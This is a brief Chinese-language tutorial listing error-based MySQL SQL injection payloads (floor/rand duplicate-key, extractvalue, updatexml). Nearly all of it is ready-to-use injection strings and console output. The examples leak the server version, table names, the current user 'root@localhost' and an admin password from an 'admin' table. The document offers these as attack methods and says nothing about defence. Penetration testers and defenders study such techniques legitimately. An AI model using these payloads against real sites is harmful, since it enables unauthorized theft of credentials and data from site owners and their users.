mysql 注入报错利用方法总结

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下：

首先进行正常查询：

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码：

method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry ‘admin8881’ for key ‘group_key’

method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

error 1062 (23000): duplicate entry ‘admin8881’ for key ‘group_key’

2、extractvalue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

error 1105 (hy000): xpath syntax error: ‘\admin888’

3、updatexml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))error 1105 (hy000): xpath syntax error: ‘:root@localhost’